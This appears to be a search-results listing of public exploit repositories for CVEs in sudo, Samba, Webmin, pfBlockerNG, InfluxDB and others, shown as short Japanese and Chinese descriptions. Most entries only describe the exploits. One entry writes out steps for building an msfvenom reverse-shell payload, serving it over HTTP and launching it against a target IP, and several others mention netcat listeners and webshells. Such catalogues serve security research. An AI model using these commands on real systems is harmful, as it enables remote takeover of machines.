36621 matches found
CVE-2024-22274-RCE
CVE-2024-22274 エクスプロイト このリポジトリには、CVE-2024-22274 のエクスプロイトが含まれています。このエクスプロイトは、SSH 経由でリモートマシンに新しいユーザーを作成し、その後 root シェルを提供します。 要件 マシンに Go Golang がインストールされていること。ダウンロードは こちら から行えます。 SSH アクセスが可能なリモートマシン。 コンパイル 1. リポジトリをクローンします: root@kitploit: git clone https://github.com/Mustafa1986/CVE-2024-22274-RCE.g...
CVE-2022-46169_POC
CVE-2022-46169 用エクスプロイト リバースシェルを取得する root@kitploit: cactiexploit.py...
CVE-2024-1874
CVE-2024-1874 CVE-2024-1874 の概念実証 procopen の配列形式の $command パラメータを介したコマンドインジェクション（CVE-2024-1874 修正の回避） The CVE: PHP バージョン 8.1. の 8.1.29 未満、8.2. の 8.2.20 未満、8.3. の 8.3.8 未満において、CVE-2024-1874 の修正は、コマンド名に末尾のスペースが含まれる場合に機能しません。元の問題: procopen...
CVE-2025-32463
📌 CVE-2025-32463 — Sudo --chroot ローカル権限昇格 ExploitDB ID: 52352 🧠 概要 このリポジトリは、Sudo 1.9.14 – 1.9.17 のバージョンに影響する深刻なローカル権限昇格 LPE 脆弱性を文書化しています。 この脆弱性は、sudo -R --chroot オプションの誤った実装に起因し、sudoers ファイルで許可されていなくても 、攻撃者がroot 権限でコマンドを実行 することを可能にします。 🔥 結果: 権限のないユーザー → root シェル 🧩 影響を受けるコンポーネント ソフトウェア: sudo...
cve-2022-3218
ステップ 1 — 実際のペイロードを作成する Windows msfvenom -p windows/x64/shellreversetcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe ステップ 2 — HTTPでペイロードを提供する 同じディレクトリ内で: python3 -m http.server 80 ステップ 3 — エクスプロイトを調整する 次のように実行: python3 CVE-2022-3218.py 172.20.7.185 10.8.5.50 exploit.exe ステップ 4 — エクスプロイト前のリスナー ...
CVE-2021-31762
..| CVE-2021-31762 |.. 説明 : クロスサイトリクエストフォージェリCSRF攻撃を悪用して、Webminのユーザー追加機能を介して特権ユーザーを作成し、その後Webminの実行中プロセス機能を介してリバースシェルを取得する テスト済みバージョン : Webmin 1.973 GitHubの最新バージョン 07/03/2021 攻撃タイプ: リモート 影響 : リモートコマンド実行 エクスプロイトのC0de POC : YouTube POC : https://youtu.be/qCvEXwyaF5U 製品ベンダー : https://www.webmin.com...
CVE-2018-5955
CVE-2018-5955 CVE-2018-5955 GitStack 2.3.10 認証不要RCEのエクスプロイト エクスプロイト: GitStack 2.3.10 認証不要リモートコード実行 日付: 2018年1月18日 ソフトウェアリンク: https://gitstack.com/ エクスプロイト作者: Kacper Szurek 元のエクスプロイト: https://www.exploit-db.com/exploits/43777 Webサイト: https://security.szurek.pl/ カテゴリ: remote CVE: CVE-2018-5955...
CVE-2007-2447-RCE
このエクスプロイトは、Samba 3.0.20 3.0.25 を悪用してリバースシェルを取得するのに役立ちます · python3 でスクリプトを --help パラメータ付きで実行すると、一連のパラメータが要求されます root@kitploit: --lhost LHOST your host ip where the shell will be received --lport LPORT your port port where the shell will be received --rhost RHOST remote host ip of the victim machin...
Offensive-lab-2
攻击性安全实验室 : ProFTPD 1.3.3c 后门漏洞利用（获取 root 标志） 1. 介绍与目标 本报告详细介绍了对一台存在漏洞的 Linux 虚拟机 VM 进行的渗透测试，重点关注识别一个高风险服务漏洞，该漏洞允许直接获取 root 权限。 详情| 值 ---|--- 目标 IP 地址| 192.168.222.130 攻击者 IP 地址 LHOST| 192.168.222.128 目标操作系统| Ubuntu 4ubuntu2.2 Linux 内核 3.x 目标| 获取 Root 级别的 shell 并检索 flag 文件。 2. 初始枚举与漏洞识别 初始侦察包括使用...
ActiveMQ_putshell-CVE-2016-3088
ActiveMQputshell-CVE-2016-3088- ActiveMQputshellでwebshellを直接取得 使い方： python3 ActiveMQputshell.py -u url...
OffensivePascal-CVE-2010-2075
CVE-2010-2075 FreePascalによるCVE-2010-2075の実装 脆弱性 UnrealIRCd 3.2.8.1 任意の待受サービスに「AB; command」を送信することでRCEが発生します。送信したコマンドは、UnrealIRCDが実行されているのと同じユーザーで実行されます。 この実装は、あなたのリスナーへのリバースシェルを起動します。 ステップ 1 リスナーを起動します。例: netcat -lvp 4444 ステップ 2 エクスプロイトを実行します ./exploit ここで、host ip と port はリスナーが実行されている場所です。 要件...
CVE-2023-22809
CVE-2023-22809 参照: https://vulners.com/cve/CVE-2023-22809 エクスプロイトタイトル: sudo 1.8.0 - 1.9.12p1 - 特権昇格 エクスプロイト作者: n3m1.sys CVE: CVE-2023-22809 日付: 2023/01/21 ベンダーホームページ: https://www.sudo.ws/ ソフトウェアリンク: https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz バージョン: 1.8.0 to 1.9.12p1 テスト環境: Ubuntu Server 22.04 ...
bepr
bepr bepr は、発信 WebSocket 接続を介した認証付きクライアント/サーバーリバースシェルプログラムです。 単一のバイナリで3つのモード（サーバーモード、クライアントモード、ユーザーモード）すべてをカバーします。rpm、deb、pkg のインストール手順がパッケージ化されており、1MB のサイズです。 外部からのアクセスを公開せずに、自宅のコンピュータを遠隔操作するために bepr を作成しました。TLS 用のドメインとサーバーがあれば動作します。 使用方法 https://github.com/Aperocky/bepr/releases...
InfluxDB-Exploit-CVE-2019-20933
InfluxDB エクスプロイト CVE-2019-20933 InfluxDB CVE-2019-20933 脆弱性のためのエクスプロイトです。InfluxDB 1.7.6 より前のバージョンでは、services/httpd/handler.go の authenticate 関数に認証バイパスの脆弱性があります。これは、JWT トークンが空の SharedSecret（別名 shared secret）を持つ可能性があるためです。...
CVE-2022-31814
CVE-2022-31814 更新されたエクスプロイト - pfBlockerNG = 2.1.426 未認証RCE CVE-2022-31814 説明 このスクリプトは、pfBlockerNG = 2.1.426 でリモートコード実行を可能にする概念実証エクスプロイトです。単一のターゲットURLまたはURLリストを受け取り、複数のペイロードを使用してシェルをアップロードし、コマンドを実行した後、シェルを削除します。 必要条件 このスクリプトには Python 3.x と requests モジュールのインストールが必要です。以下のコマンドでインストールできます：...
CVE-2022-0848-RCE
CVE-2022-0848 part-db 0.5.11 におけるリモートコード実行（RCE） bash ファイル内のホストを変更して実行すると、RCE 経由でシェルを取得できます。...
CVE-2020-15227
CVE-2020-15227 免責事項！私は、このツールを実際の環境で使用した責任を負いませんので、絶対に行わないでください。これはデモンストレーション用であり、システム管理者がテストするためのものです。 私は、Nette財団の創設者であるDavid Grudl氏のCVE公開に基づいてこのエクスプロイトを作成しました。 セキュリティ研究者として、私は小さなモンスターを開発しました（もちろん教育およびデモンストレーション目的であり、倫理的な理由から自動修正機能も作りました）。...
CVE-2019-9978
Social Warfare Plugin Wordpress 3.5.2 リモートコード実行 Wordpress Social Warfare リモートコード実行（自動アップロードシェル） 日付: 2019年3月 ダウンロードリンク: https://wordpress.org/plugins/social-warfare/ リファレンス: https://wpvulndb.com/vulnerabilities/9259 バージョン: CVE: 2019-9978 使用方法: python script.py list-of-sites.txt...
EFS_CVE-2021-43217
EFS バイパス脆弱性CVE-2021-43217 目的 この脆弱性デモンストレーションは、Kali Linux を通じて Windows 10 上で EFS バイパスをシミュレーションするための管理された環境を構築することを目的としていました。主な焦点は、脆弱性のペネトレーションを実行し、EFS の弱点を通じてデスクトップを制御する可能性を示すことでした。 習得したスキル EFS に関する高度な理解 Kali Linux の習熟 python3 スクリプトとシェルコードの生成能力（画像として記載） MSFconsole および Metasploit...